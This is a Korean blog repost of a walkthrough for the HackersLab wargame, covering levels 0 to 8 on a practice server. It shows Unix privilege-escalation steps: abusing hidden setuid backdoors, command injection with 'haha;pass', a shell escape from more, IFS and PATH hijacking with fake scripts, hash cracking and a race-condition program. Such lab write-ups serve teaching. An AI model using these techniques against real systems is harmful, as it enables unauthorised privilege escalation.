2010. 4. 7. 23:40
반응형
출처 silverdory의 블로그 | 실버도리
원문 http://blog.naver.com/silverdory/20007057658
HackersLab Level-Up

- 최근들어 인터넷의 활성화와 더불어 보안에 대한 관심이 고조되고 있는 상황에서 유닉스/리눅스의 보안에 대해 알아보고 보안 헛점을 노리는 여러가지 해킹 기법과 이러한 해킹을 막을 수 있는 방법에 대해서도 알아보자. 또한 지난해 7월 해커의 양성화를 위해 해킹기법을 실전으로 익히는 장을 마련한 해커스랩 레벨업에 대해서도 알아보자. 
목차

  1. 유닉스/리눅스 보안
  2. 해킹을 배워보자
  3. 해커스랩 레벨 업
    1. 레벨0 -> 레벨1
    2. 레벨1 -> 레벨2
    3. 레벨2 -> 레벨3
    4. 레벨3 -> 레벨4
    5. 레벨4 -> 레벨5
    6. 레벨5 -> 레벨6
    7. 레벨6 -> 레벨7
    8. 레벨7 -> 레벨8
    9. 레벨8 -> 레벨9
    10. 레벨9 -> 레벨10
    11. 레벨10 -> 레벨11
    12. 레벨11 -> 레벨12
    13. 레벨12 -> 레벨13
    14. 레벨13 -> 레벨14
    15. 레벨14 -> 레벨15

  1. 유닉스/리눅스 보안

  2. 해킹을 배워보자

  3. 해커스랩 레벨 업(1999-12-13 11:10:40 ~ 1999-12-29 16:46:26) 해커스랩:[http://www.hackerslab.org]

    10만 해커 양성하여 사이버코리아를 수호하자...

    지금까지 우리사회에서는 해커(Hacker)라는 용어가 잘못 사용되어왔습니다.

    해커라는 용어는 1950년대 미국 MIT공과대학내『테크모델철도클럽』이라는 동아리의『신호기와 동력분과』라는 분과모임의 학생들이 철도분기점 입체화 설계에 따르는 난문제들을 해결하기위해 악착같은 노력으로 대학내 제26동 건물에 밤마다 몰래 들어가서 IBM704 컴퓨터시스템을 사용하여 어려운 문제를 해결해내자 이들 집념어린 노력가들을 핵(hack)이라 불렀습니다 .

    이때부터「산출된 결과」를 통해「집념과 악착같은 노력」을 나타내는『결과산출자(Producer)』를 Hacker 라고도 부르게 되었다. 해커라는 말뜻에는 집념과 악착같은 노력 기술수준 높은 결과를 산출하는 기술연마자라는 뜻이 어울어져있습니다. (hack + Producer =Hacker)

    그후 컴퓨터에 강한 흥미를 가지고 있으면서 이에 몰두하는 사람을 해커라 부르기도 하다가 네트워크의 까다로운 침입 방어 시스팀을 뚫는데서 성취감 또는 쾌감이나 기쁨을 찾는 일에 열중하는 사람이 출현하면서『해커〓컴퓨터 침입자』라는 어감이 퍼졌고 컴퓨터를 이용한 범죄의 증가로 급기야는 장난기나 범죄를 목적으로 단말기나 통신회선을 통해 컴퓨터에 침입하여 정보를 빼내거나 혼란을 일키는 범죄자라는 뜻으로까지 변질되었습니다.

    그러나 미국, 유럽등을 비롯한 선진국에서는 해커보다는 시스템 불법침입자는 intruder, attacker, 파괴자는 cracker 로 부르며 해커와는 구분하여 사용하고 있으나 국내에서는 혼용 사용되고 있습니다.

    국내에 네트워크 환경이 본격 보급되기 이전에는 대중들이 크래커라는 개념을 이해하지 못해 해커라는 용어를 사용하였으나 현재 우리나라의 수준에서 볼 때 이제는 해커와 크래커등을 구분하여 불러줄 때가 되지 않았나 생각합니다.

    최근 국내에서는 해커를 범죄적 해커(Criminal Hacker)와 단순히 호기심이나 실력을 연마하려는 레크레이셔널 해커로 구분하려는 경향이 있으나 (주)시큐어소프트에서 운영하는 해커스랩에서는 컴퓨터분야의 전문기술자는 해커로, 타인이 관리하는 전산망에 불법 침입하거나 시스템을 파괴하는 자는 크래커로 불러서 해커와 크래커를 명확하게 구분하여 사용하여 범죄행위자들과 엄격히 구분되는 컴퓨터 전문기술자라는 원래의 의미로 되돌아가야 할 것입니다.

    해커스랩은 우선 해커라는 의미가 범죄자적 의미가 아닌 순수한 컴퓨터 매니아로서의 의미를 이땅에 정착시키고져 노력할 것입니다

    또한 청소년들이 자유롭게 해킹을 실습할 수 있는 놀이공간으로 이곳에서는 해킹을 해도 수사기관에서 잡아가지 않으니 다른 곳에서 마음 졸이며 해킹하지 말고 해커스랩에서 마음놓고 공격과 방어 기술을 습득하기 바랍니다.
    --- 중략 ---

    --- 해커스랩 소개(만든배경) 중에서 ---


    FHZ(Free Hacking Zone) 이용방법:

    계정은 level0부터 13까지 주어지며 , 사용자 등록을 하신후 (정확한 메일주소는 필수사항 : 차후 메일링 리스트를 만들어 최신 정보 배포 예정임)
    Real Hactopia로 이동 하시면 사용자 인증후(이 부분은 각 사용자마다 레벨을 자동으로 체크해주기 때문에 필요한 부분입니다.) 문제가 자동으로 뜹니다.

    그 문제의 해답(?)을 drill.hackerslab.org 에서 찾으셔서 pass란 명령을 셀에서 치시면 암호가 나올것입니다.(EUID)

    그 암호를 잊지마시고 이곳에서 등록해 주시면 자동으로 레벨이 업그레이드가 됩니다. 레벨 13이 되실경우 명예의 전당에 등록되며 소정의 혜택이 주어집니다.

    즉 웹에서 등록하신 아이디는 웹상에서의 관리를 위한 아이디 이며 telnet으로 drill.hackerslab.org에 접속하실때는 level0 / guest로 초기 접속이 가능합니다.

    그리고 웹상에 기출된 문제를 *drill.hackerslab.org* 에 셀로 접속한 상태로 작업하신후 얻어내신 password를 *웹상에서* 등록하시면 레벨업이 됩니다


    1. 레벨0 -> 레벨1  패스워드

      <문제>
      누군가 우리 시스템에 백도어를 설치하여 두었다. 여러분은 이 백도어를 악용하여 레벨0를 통과한다.

      <힌트>
      디바이스도 아닌것이 디바이스 드라이버 무리속에..

      <레벨업>
      백도어(back door)란 해커가 시스템을 해킹한 후(해킹과정에는 보통 Local attack과 Remote attack이 있다. Local attack이란 해커가 해킹을 하려고 하는 시스템에 계정이 있는 경우 시스템 자체의 버그를 이용하여 해킹하는 방법이고, Remote attack이란 계정인 없는 경우 Protocol상의 문제점이나, 해킹하려고 하는 시스템의 여러가지 인터넷 서비스 설정 버그, 또는 다른 여러 방법을 동원하여 일단 대상 시스템에 침투하는 과정을 말한다.) 다음번에 다시 대상 시스템에 들어가기위해 복잡한 해킹 과정을 거치지 않고 쉽게 해킹할 수 있도록 대상시스템에 만들어 놓은 일종의 개구멍이라 할 수 있다.

      백도어의 종류 - 자세한 이야기는 다음 기회에 하기로 하자...

      • 패스워드 크랙킹 백도어
      • rhosts + + 백도어
      • 체크섬(checksum)과 타임스탬프(timestamp) 백도어
      • 로긴(login) 백도어
      • Telnetd 백도어
      • 서비스 백도어(Services backdoor)
      • Cronjob 백도어
      • 라이브러리(library) 백도어
      • 커널(kernel) 백도어
      • 파일시스템(file system) 백도어
      • 부트블럭(boot block) 백도어
      • 프로세스(process)를 감추는 백도어
      • 루트킷(Rootkit)
      • 네트워크 트래픽(network traffic) 백도어
      • TCP 쉘(TCP shell) 백도어
      • UDP 쉘(UDP shell) 백도어
      • ICMP 쉘(ICMP shell) 백도어
      • 암호화된 링크(Encrypted Link>


      일단 해당 백도어가 디바이스 무리속에 있기 때문에 유닉스의 파일시스템에서 디바이스 디렉토리인 /dev로 가서 숨겨진 백도어를 찾도록 한다.

      [bluesky@bluestar bluesky]$telnet drill.hackerslab.org
      login:level0
      password:guest
      .....
      [level0@drill level0]$ pwd[현재위치는?]
      /home/level0
      [level0@drill level0]$ whoami[나는 누구?]
      level0
      [level0@drill level0]$ id [id(uid/gid)확인]
      uid=2000(level0) gid=2000(level0) groups=2000(level0),9999(hackerszone)
      [level0@drill level0]$ cd /dev
      [level0@drill /dev]$

      이제 숨겨진 백도어를 find 명령을 이용하여 찾아보자(다음레벨로 올라가기 위한 백도어이기 때문에 이 백도어의 user는 level1일 것이다.
      현재위치(.)에서 user가 level1이고 group이 level0인 화일을 찾아서 화면상에 보여준다. 결과를 화일로 저장하고 싶은 경우는 [find . -user level1 -group level0 -print > file]와 같이 해준다.

      [level0@drill /dev]$ find . -user level1 -group level0 -print
      ./.hi  <--- 우리가 찾는 백도어(.으로 시작하는 히든화일이다.)

      [level0@drill /dev]$ ls -l .hi
      -rwsr-x--- 1 level1 level0 12900 Aug 10 15:15 .hi
      <-- suid(s)가 설정되어 있으며, level0(group) user가 실행(x)이 가능하다. 그러므로 이 백도어를 실행하면.. level1 shell이 뜨게된다.(결과론적 얘기임..)

      [level0@drill /dev]$ ./.hi[백도어 실행]
      [level0@drill /dev]$ id
      uid=2000(level0) gid=2000(level0) euid=2001(level1)groups=2000(level0),9999(hackerszone)
      [level0@drill /dev]$ whoami
      level1
      [level0@drill /dev]$xxxx  <-- 운영자가 만든 해당 shell 사용자의 패스워드를 보여주는 스크립트
      ---------------------------------------------------------------------
                                  [ LEVEL 1 ]
      ---------------------------------------------------------------------
                                  패스워드 : xxxxxxxx
      ---------------------------------------------------------------------

    2. 레벨1 -> 레벨2  패스워드

      <문제>
      한 어리석은 대학생 서모씨는 Unix C programming 수업시간에 교수로부터 Standard input으로 부터 패스명을 입력받아 그 파일의 종류를 나타내라는 과제를 받았다. 똑똑한(?) 서모씨는 UNIX의 기본 커맨드 중에 file 이라는 유틸리티가 있음을 알고 이를 이용해 숙제를 간편한 방법으로 해결하였다. 그러나 서씨의 방법에는 상당한 보안상 위험이 있다. 이를 이용하여 다음 레벨을 획득하시오

      <힌트>
      위 화일의 이름은 딱풀제조 회사명이다.

      <레벨업>
      이번 문제도 렙0와 마찬가지로 suid(set user id)의 보안상 문제점을 이용하는 것인데, 여기서 suid에 대해 먼저 짚어보고 계속가기로 하자. 먼저 화일접근 권한에 대해서 먼저 살펴보기위해 /etc/passwd란 파일의 권한을 한번 살펴보자.

      [bluesky@bluestar bluesky]$ ls -l /etc/passwd
      -rw-r--r-- 1 root root 887 Mar 3 01:42 /etc/passwd

      위에서 보는바와 같이 /etc/passwd란 파일은 user가 root이고 group도 root이다. 그리고 제일앞이 - 이므로 일반화일이다. 그리고 소유주인 root에 대한 권한부분이 rw- 이므로 소유주인 root는 읽기/쓰기가 가능하고 실행화일이 아니므로 실행부분은 없다. 그다음 group의 권한부분이 r--이므로 group내의 사용자들은 읽기만 가능하다. 마지막 다른 사용자의 권한부분이 r--이므로 역시 읽기만 가능하다. 결국 /etc/passwd는 소유주인 root만 수정이 가능하다.
      그런데, 우리가 패스워드를 수정할 때 쓰는 passwd란 파일은 사용자로 부터 입력받은 새로운 패스워드를 가지고 /etc/passwd 란 파일을 수정하여 패스워드가 업데이트 된다. 그런데 /etc/passwd는 root만 수정할 수 있는데 어떻게 일반사용자에 의해 /etc/passwd가 수정되어질 수 있는가???

      위의 질문에 대한 해답은 passwd(/usr/bin/passwd)의 접근 권한을 보면 확실해진다. 
      [bluesky@bluestar bluesky]$ ls -l /usr/bin/passwd
      -r-sr-xr-x 1 root bin 58306 Apr 13 1999 /usr/bin/passwd

      위에서 보는 바와 같이 소유주인 root의 접근권한 부분이 r-s로 되어 있다. SUID 비트가 셋팅되어 있는 것이다. 이렇게 suid 비트가 설정되어 있으면 다른 사용자들이 이 화일을 실행하는 잠시동안은 이 화일의 소유자의 권한 을 가지게 된다. 즉 이 경우엔 root의 권한을 가진다. 결국, 일반 사용자들이 passwd로 패스워드를 수정하는 경우 passwd를 실행하는 잠시동안 root의 권한을 빌려서 /etc/passwd란 화일을 수정하고 수정이 끝나면 다시 원래의 권한으로 되돌아 오게 되는 것이다.

      이러한 suid는 위와 같이 매우 유용하게 사용될 수 있는 반면 보안상으로 매우 취약한 약점을 가지고 있다. 여기서 suid가 왜 문제가 되는지 간단한 예를 하나 들어보자.

      예를 들어 시스템 관리자가 관리자용으로 따로 만든 계정이 아닌 그냥 root로 작업을 하고 있다가 잠시 자리를 비웠다고 가정해 보자. 이때,
      이 시스템에 hacker란 계정을 가진 사람이 들어와서 아래와 같이 했다면 큰일이다.
      [root@bluestar /root]# cp /bin/sh /home/hacker
      [root@bluestar /root]# chmod 4775 /home/hacker/sh
      [root@bluestar /root]# ls -l /home/hacker/sh
      -rwsrwxr-x 1 root root 373304 Mar 23 04:05 /home/hacker/sh

      위와 같이 해두면 hacker란 사용자는 다음에 자신의 계정으로 로긴한 후 이 훔친 shell(일종의 백도어이다.)을 이용하여 언제라도 root가 될 수 있으니 얼마나 위험한 일인가...다음은 그 과정을 보여준다.
      [hacker@bluestar hacker]$ <-- hacker가 자신의 계정으로 로긴..
      [hacker@bluestar hacker]$ whoami
      hacker
      [hacker@bluestar hacker]$ ls -l
      -rwsr-xr-x 1 root root 373304 Mar 23 04:05 sh
      [hacker@bluestar hacker]$ ./sh  <-- root의 권한으로 shell을 실행시킴(root shell 획득...)
      [hacker@bluestar hacker]#whoami(프롬프트가 $->#으로 바뀐것을 주목..)
      root
      이후의 일은 끔찍함 그자체.... ^_^

      그러므로 시스템 관리자는 화면 잠금없이 자리를 비우는 일이 없도록 해야하며, 수시로 아래명령으로 불필요하게 suid/sgid 설정 이 되어있는 화일이 없는지 확인해야 한다. (보안툴을 이용해서 점검이 가능..)
      [root@bluestar /root]# find / -perm -4000 -o -perm -2000 -print

      이제 본론으로 돌아와서..레벨1을 깨보자..
      우리가 찾는 딱풀제조 회사명을 검색엔진으로 찾으면 amos라는 것을 알 수 있다.
      (아니면 그냥 drill 서버에서$find / -user level2 -group level1 -print로 찾으면 나온다.)
      이 화일을 실행하면,
      [level1@drill tmp]$/usr/bin/amos
      path?라고 나온다. 여기서 /usr/bin/amos를 입력해보자.
      [level1@drill tmp]$/usr/bin/amos
      path?/usr/bin/amos
      /usr/bin/amos: setuid ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked
      (uses shared libs), not stripped

      그런데 여기서 다음과 같이 입력해보자..
      [level1@drill level1]$ file /usr/bin/amos
      /usr/bin/amos: setuid ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked
      (uses shared libs), not stripped

      여기서, 우리는 똑똑한(?) 서모씨가 이 amos라 프로그램에서 path?로 입력받은 화일명을 file 이라는 유틸리티의 입력으로 주도록 했다는 것을 알 수 있다.
      file이라는 유틸리티는 입력으로 들어온 화일이 어떤 형태의 화일인지를 알려주는 유틸리티이며 사용법은 [$fille 화일명]이다.

      그런데 /usr/bin/amos의 접근권한을 보면 아래와 같이 suid 비트가 설정되어 있고 user가 level2인 것을 알 수 있다.
      [level1@drill level1]$ ls -l /usr/bin/amos
      -rwsr-x--- 1 level2 level1 13423 Aug 10 15:15 /usr/bin/amos
      그러므로 이 amos를 실행하는 동안은 level2 사용자가 되는 것이다.

      그런데 여기서 또 한가지 알아야 하는 것은 유닉스에서 두가지 명령을 하나의 라인에서 같이 줄 경우 아래와 같이 ; 으로 분리한다는 것을 알아야 한다. 즉, 다음과 같이 할 경우
      [level1@drill level1]$ ls;ls -l
      Mail public_html tmp
      total 5
      drwxr-xr-x 2 root root 1024 Aug 10 14:39 Mail
      drwxr-x--x 2 root level1 1024 Aug 10 15:14 public_html
      drwxrwx--T 2 root level1 3072 Jan 10 05:00 tmp
      ls의 결과를 보여주고 바로 다음 명령인 ls -l의 결과를 보여준다. 이제 레벨1 해답의 열쇠가 보이나요??? 안보인다구요?? ^_^..

      amos 실행후 path?에서 haha;pass 라고 입력해주면 어떻게 되겠는가??
      이렇게 입력하면 다음의 명령이 level2의 사용자 권한으로 실행되는 것이다.
      [level1@drill level1]$file haha;pass
      즉, file haha를 실행하고 pass를 실행한다. file의 인자로 넘어간 pass까지 완전히 실행이 끝나기 전까지는 level2의 사용자로 실행되고 있는 상태(amos가 suid(level2)가 설정되어 있기 때문에)이기 때문에, file haha를 실행하고 haha란 화일이 없을 것이기 때문에 에러 메시지를 출력하고 바로 pass(운영자가 만들어 놓은 스크립트로 shell 사용자의 패스워드를 화면상에 보여준다.)를 실행하여 레벨2의 패스워드를 보여준다.

      [level1@drill tmp]$/usr/bin/amos
      path?haha;pass

      ---------------------------------------------------------------------
                                  [ LEVEL 2 ]
      ---------------------------------------------------------------------
                                  패스워드 : xxxxxxxxxxxx
      ---------------------------------------------------------------------


    3. 레벨2 -> 레벨3  패스워드

      <문제>
      유명한 비비에스 프로그래머 김모씨는 자신의 bbs를 운영하던중 회원들이 로긴하기 전에 특정 내용이 담긴 경고 메시지를 보여주고 싶었다. 그러나 불행하게도 경고 메시지의 크기가 한 페이지를 넘어가는 바람에 회원들이 이글을 제대로 읽을수가 없었다. 고심하던중 김모씨는 more를 이용하면 간단히 해결 된다는 사실을 알았다. 그러나 그 방법은 상당히 위험한 문제가 남아 있었다. 이를 이용하여 다음 레벨을 획득하시오.

      <힌트>

      <레벨업>
      이번 문제는 more 커맨드의 보안상의 취약점을 알아야 하는 문제이다. 우선,
      $find / -user level3 -group level2 -print 명령으로 김모씨가 경고 메시지를 보여주기 위해 만든 스크립트 화일을 찾아서 실행해보자

      [level2@drill level2]$find / -user level3 -group level2 -print
      /usr/bin/alert
      /usr/bin/alert.txt
      [level2@drill level2]$ls -l /usr/bin/alert
      -rws--x--- 1 level3 level2 12873 Aug 10 15:15 /usr/bin/alert
      [level2@drill level2]$ls -l /usr/bin/alert.txt
      -rwx------ 1 level3 level2 247 Aug 10 15:15 /usr/bin/alert.txt

      위에서 보는 것처럼 이 alert도 역시 level3로 suid 비트가 설정되어 있다는 것을 알수 있다. 즉, 이 alert를 실행중에는 level3 사용자가 되는 것이다.
      [level2@drill level2]$/usr/bin/alert
      이곳은 당신에게 악영향을 끼칠 수도..

      좋은 영향을 끼칠 수도 있습니다..
      ....
      --More--(54%)
        아직 명령 실행이 완전히 끝난 상태가 아니므로 아직 level3 사용자이다.

      여기서 이제 more 커맨드의 보안상 헛점에 대해 알아보자...
      $man more 해서 more 커맨드의 사용법을 보면,
      [bluesky@bluestar bluesky]# man more
      MORE(1)          UNIX Reference Manual          MORE(1)
      NAME
            more - file perusal filter for crt viewing
      SYNOPSIS
            more [-dlfpcsu] [-num] [+/ pattern] [+ linenum] [file ...]
      .....
      COMMANDS
            Interactive commands for more are based on vi(1). Some commands may be
            preceeded by a decimal number, called k in the descriptions below. In
            the following descriptions, ^X means control-X.
      .....
            !< cmd >  or  :!< cmd >
                               Execute in a subshell

      .....
      위의 man 화일에서 볼 수 있듯이 more 실행중에(실행이 아직 끝나지 않은 상태) 서브쉘을 띄워 유닉스 명령을 실행할 수 있다. 그러므로, 위의 --More--(54%) 상태에서 !pass라고 입력해주면 level3 권한으로 pass를 실행할 수 있게 된다.

      [level2@drill level2]$/usr/bin/alert
      이곳은 당신에게 악영향을 끼칠 수도..

      좋은 영향을 끼칠 수도 있습니다..
      ....
      --More--(54%)
      !xxxx
      ---------------------------------------------------------------------
                                  [ LEVEL 3 ]
      ---------------------------------------------------------------------
                                  패스워드 : xxxxxxxxxxx
      ---------------------------------------------------------------------
      --More--(54%)

    4. 레벨3 -> 레벨4  패스워드

      <문제>
      항상 약속을 자주 잊어버리는 서모씨는 번번히 주위로부터 원망을 산다. 서모씨는 고심하던중 자신이 매일 아침 리눅스 서버에 로긴한다는 사실을 알고는 매번 로긴할 때마다 오늘의 날짜를 알려주면 편리하겠다는 사실을 알았다. 그래서 date 커맨드를 이용하여 오늘의 날짜만 yyyy-mm-dd 형식으로 간단히 출력해주는 프로그램을 씨 언어를 이용해서 프로그래밍하고는 누가볼까 두려워 특정 디렉토리에 꽁꽁 숨겨 두었다. 이를 찾아서 다음 레벨을 진입하시오

      <힌트>

      <레벨업>
      이번 문제는 IFS(Internal Field Separator)의 헛점을 이용한 해킹이다.
      IFS는 유닉스에서 외부프로그램을 실행할 때 입력되는 문자열을 나눌 때 기준이 되는 문자를 정의하는 변수이다.
      기본적으로 IFS는 공란(Space)으로 정의된다(IFS=" "). 이 IFS를 슬래쉬(/)로 바꾸고 싶다면 csh인 경우는 setenv IFS /, bash인 경우는 export IFS="/"로 하면 변경된다.

      먼저 find 명령으로 서모씨가 꽁꽁 숨겨놓은 화일을 찾으면 /usr/man/pt_BR/man8/today라는 것을 알 수 있다.
      이를 실행하면 01/10/00과 같이 표시되는데 이로써 우리는 today가 유닉스에서 날짜를 보여주는 명령어인 /bin/date를 실행하도록 프로그램 되어있음을 알 수 있다.

      /usr/man/pt_BR/man8/today의 접근 권한을 보면 이 역시 level4로 suid 비트가 설정되어 있다는 것을 알 수 있다. 이 사실과 위에서 말한 IFS의 보안상 헛점을 이용하여 어떻게 level4의 패스워드를 알 수 있겠는가??
      /usr/man/pt_BR/man8/today를 실행하면 /bin/date를 실행한다. 즉, /bin디렉토리를 찾아서 그 아래의 date란 화일을 찾아서 실행하는 것이다. 그런데 우리가 IFS를 /(slash)로 바꾸면 어떻게 되겠는가??
      today를 실행하면 /bin/date를 실행하는데, IFS를 /로 바꾸었기 때문에 shell은 /bin/date -> bin date로 인식하게 된다. 즉, 현재 위치에서 bin이란 화일을 찾아서 있으면 이를 실행하게 될 것이다. 그러므로 우리는 today를 실행하는 현재위치에 bin이라는 스크립트 화일을 만들어 그 안에서 /bin/sh를 실행하게 되면 level4 사용자 권한으로 sh(shell)를 실행하는 결과가 되므로 level4의 shell이 뜨게 될 것이다.

      아래 그 과정을 보여준다.
      [level3@drill level3]$find / -user level4 -group level3 -print
      /usr/man/pt_BR/man8/today
      [level3@drill level3]$ cd tmp
      [level3@drill tmp]$
      [level3@drill tmp]$ ls -l /usr/man/pt_BR/man8/today
      -rws--x--- 1 level4 level3 13245 Aug 10 15:15 /usr/man/pt_BR/man8/today
      [level3@drill tmp]$ln -s /usr/man/pt_BR/man8/today today
      위는 /usr/man/pt_BR/man8/today를 현재위치에 today란 이름으로 링크를 시키는데 안해도 상관은 없다.

      [level3@drill tmp]$ls -l
      lrwxrwxrwx 1 level3 level3 25 Jan 10 10:36 today -> /usr/man/pt_BR/man8/today
      [level3@drill tmp]$./today
      01/10/00
      [level3@drill tmp]$cat > bin
      /bin/sh
      ^D
      [level3@drill tmp]$chmod 755 bin
      [level3@drill tmp]$ls -l
      -rwxr-xr-x 1 level3 level3 10 Jan 10 10:38 bin
      lrwxrwxrwx 1 level3 level3 25 Jan 10 10:36 today -> /usr/man/pt_BR/man8/today

      이제 여기까지 IFS를 /로 바꾼후에 실행할 bin 이라는 스크립트를 /bin/sh란 내용으로 만들어 실행가능 permission을 주었다.
      이제 실제로 IFS를 /로 바꾸고 today를 실행시키자...
      [level3@drill tmp]$IFS=/
      [level3@drill tmp]$export IFS
      [level3@drill tmp]$PATH=.:$PATH  <-- 현재설정된 PATH에 .(자신의 디렉토리)를 추가한다.
      [level3@drill tmp]$,/today
      bash$pass    <-- level4 shell 상에서 pass 입력..
      ---------------------------------------------------------------------
                                  [ LEVEL 4 ]
      ---------------------------------------------------------------------
                                  패스워드 : xxxxxxxxxx
      ---------------------------------------------------------------------
      bash$exit
      [level3@drill tmp]$


    5. 레벨4 -> 레벨5  패스워드

      <문제>
      리눅스에 들어있는 게임을 종종 즐기곤 하는 김모씨는 하도 심심하여 게임의 소스파일에 특정코드를 삽입하여 다시 컴파일 하였다. 김모씨가 왜 그랬는지 이해하는 사람은 아무도 없었다. 아무튼 여러분은 김모씨의 어리석은 행위를 이해할 필요는 없고 이를 이용하여 다음 레벨을 획득하면 된다.

      <힌트>
      어줍잖은 김모씨는 단 한줄만 소스에 추가했다고 한다.

      <레벨업>
      find 명령으로 찾아보면..김모씨가 하려고 했던 게임이 /usr/games/trojka라는 것을 알 수 있다.
      이를 실행해보면...김모씨가 소스에 추가한 한줄을 대충 짐작 할 수 있을 것이다..바로../usr/bin/clear를 실행하도록 한줄을 추가했다는 것을 알 수 있다. 그리고 이 trojka 역시 level5로 suid 비트가 설정되어 있다...그러므로 우리는 trojka를 실행할때.. 실행하도록 한 clear를 /usr/bin/clear가 아닌 우리가 만든 clear로 대치하고 clear 속에 level5 쉘을 띄우면..렙5의 패스워드를 알 수 있을것 같다..그럼...이 과정을 아래에서.자세히..

      [level4@drill level4]$cd tmp
      [level4@drill tmp]$ find / -user level5 -group level4 -print
      /usr/games/trojka
      [level4@drill tmp]$ls -l /usr/games/trojka
      -rwsr-x--- 1 level5 level4 30350 Aug 10 15:15 /usr/games/trojka
      [level4@drill tmp]$cat > clear  <-- /usr/bin/clear가 아닌 우리가 실행시킬 clear 화일 작성
      /bin/pass
      ^D

      위에서 clear의 내용을 /bin/pass가 아닌 /bin/sh로 할 경우..trojka를 실행하면..렙5의 쉘(bash$)이 나올 것이다. 이때 bash$pass 해주면 된다.
      [level4@drill tmp]$chmod 755 clear
        <-- 실행가능 권한 설정
      [level4@drill tmp]$ln -s /usr/games/trojka  <-- 링크(안할 경우 /usr/games/trojka를 실행하면 됨)
      [level4@drill tmp]$PATH=.:$PATH  <-- clear를 현재디렉토리에서 부터 찾도록 하기 위함..
      [level4@drill tmp]$./trojka

      패스워드가 보이죠?? ^_^..

    6. 레벨5 -> 레벨6  패스워드

      <문제>
      어줍잖은 해커 정모씨는 문제1에서 백도어를 만든 장본인이다. 그러나 불행히도 많은 해커스랩 회원들이 자신의 백도어를 쉽게 악용하고 있다는 사실을 알고는 분통이 터져 잠을 잘 수가 없었다. 평상시 머리굴리기는 배꼽의 때만큼도 하기 싫어하는 정모씨가 드뎌 큰맘을 먹고 자신이 평상시 만든 백도어에 보안강도를 높이기로 결정했다. 그리고는 이제 이 백도어는 나만 쓸수 있다고 큰소리 치며 편안히 잠을 잘 수 있었다고 한다. 여러분의 임무는 다시 정모씨의 눈에서 피눈물이 나게 하는 것이다.

      <힌트>

      <레벨업>
      이번 문제는 유닉스 커맨드 중 하나인 strings를 알고 있느냐/없느냐..하는 문제이다. strings는 유닉스에서 일반 text 에디터(vi,emacs..)로는 볼 수 없는 화일들(예를 들면..공유 라이브러리인 *.so, 로긴정보를 담고있는 /var/wtmp 등등..)내에서 출력가능한 문자를 출력해주는 유틸리티이다.

      일단, find 명령으로 정모씨가 백도어의 보안강도를 높이기 위해 사용한 파일을 찾아보면... /lib/security/pam_auth.so라는 것을 알 수 있는데.. 이 화일 속에 패스워드를 숨겨두었다..그런데..이 파일은 일반 text 에디터로는 볼 수 없기 때문에.. strings 명령으로 확인하면 된다.

      [level5@drill tmp]$find / -user level6 -group level5 -print
      /lib/security/pam_auth.so
      [level5@drill tmp]$ls -l /lib/security/pam_auth.so
      -rwsr-x--- 1 level6 level5 13742 Aug 10 15:15 /lib/security/pam_auth.so
      [level5@drill tmp]$strings /lib/security/pam_auth.so
      /lib/ld-linux.so.2
      __gmon_start__
      ......
      ......
      B.....
      ......

    7. 레벨6 -> 레벨7  패스워드

      <문제>
      짜짜 여기까지 오느라 수고하신 여러분을 위해 보너스 문제를 특별히 준비하였습니다..이번엔 고생하신 여러분을 위해 패스워드를 알려드리기 위해 TCP 포트 하나를 열어두고 있습니다.. 그런데 불행히도 몇번 포트였는지 기억이 나질 않는군요.. 아무튼 수고를 ....

      <힌트>

      <레벨업>
      이번 문제는 network 유틸리티인 netstat의 사용법과 telnet 접속시 특정 포트로 접속하는 방법에 대한 문제이다..
      먼저, drill에 접속하여 열어두고 있는 TCP 포트를 확인해보면..아래와 같다는 것을 알 수 있을 것이다..

      [level6@drill level6]$ netstat -a | grep "LISTEN"
      tcp 0 0 *:2994 *:* LISTEN
      tcp 0 0 *:80 *:* LISTEN
      tcp 0 0 *:25 *:* LISTEN
      tcp 0 0 *:6969 *:* LISTEN
      tcp 0 0 *:23 *:* LISTEN
      unix 0 [ ACC ] STREAM LISTENING 978 /dev/gpmctl

      위에서 2994번 포트는 렙13을 위한 것이고, 80번은 HTTP, 25번은 SMTP, 23번은 TELNET이다. 6969번이 우리가 원하는 포트이다.. 이제 포트를 알았으니 접속을 해보자..

      [bluesky@bluestar bluesky]$telnet drill.hackerslab.org 6969
      ....
      level6's passwd:xxxxxxxxxxxxxxxxxxxxxxxxxxx
      'Best of The Best ......'
      Congratulation!! level7's passwd is 'Can't ....'

    8. 레벨7 -> 레벨8  패스워드

      <문제>
      이번 문제는 고도의 노가다 작업이 필요하다. 특정파일을 찾아 실행시키면 다음 레벨의 패스워드가 나올 것이다. 그러나 곱게 알려줄 수는 없는 법.(여러분의 고통은 나의 행복) 다음 레벨을 얻기 위해선 약간의 고생이 필요할 것이다.

      <힌트>

      <레벨업>
      이번 문제는 패스워드를 Crack tool로 크랙하는 문제이다. 먼저 문제의 특정화일을 찾으면../dev/audio2라는 것을 알 수 있다.
      이를 실행하면..
      [level7@drill tmp]$find / -user level8 -group level7 -print
      /dev/audio2
      [level7@drill tmp]$/dev/audio2
      VoE4HoQCFfMW2
      shadow파일의 level8 패스워드 부분이다.

      이 암호화된 패스워드를 ntucrack이나 CrackJack 등의 툴을 이용하여 크랙하면 된다.
      크랙된 패스워드는 wxxxxxxxx이다..
      Cracking_tool 사용법

    9. 레벨8 -> 레벨9  패스워드

      <문제>
      이번 부터는 해킹기법에 대한 이해가 필요합니다.. 한때 유행했었던 8lgm이 즐겨 발표했던 방법으로써 /usr/bin/ps2를 이용하여 다음 레벨을 획득하여라.

      <힌트>
      임시 파일이 /var/tmp2에 생성된다.

      <레벨업>
      이번 문제는 race condition(경쟁조건)을 이용한 race attack이다.

      [level8@drill tmp]$find / -user level9 -group level8 -print
      /usr/bin/ps2
      [level8@drill tmp]$ ls -l /usr/bin/ps2
      -rws--x--- 1 level9 level8 933937 Aug 12 13:22 /usr/bin/ps2

      [level8@drill tmp]$cat > race.c  <-- 아래의 내용으로 race.c 작성
      int main()
      {
        int i;
        unlink("/var/tmp2/ps2.tmp");
        for(i=0;i<10;i++){
          system("/usr/bin/ps2&");  &<-- 백그라운드로 동작시킴
          ....중략..

      }
      ^D
      [level8@drill tmp]$cc -o race race.c  <-- 컴파일
      [level8@drill tmp]$cat > haha
      /bin/pass
      ^D
      위의 haha의 내용은 어떤거라도 상관이 없다. 위에서 symlink에서 symbolic link만 제대로 만들어지면 race condition 상태가 되어 level9의 패스워드가 나온다
      [level8@drill tmp]$chmod 755 haha

      [level8@drill tmp]$ ./race
      file exist
      Congratulations !!! your race attack success ~
      level9 Password is xxxxxx
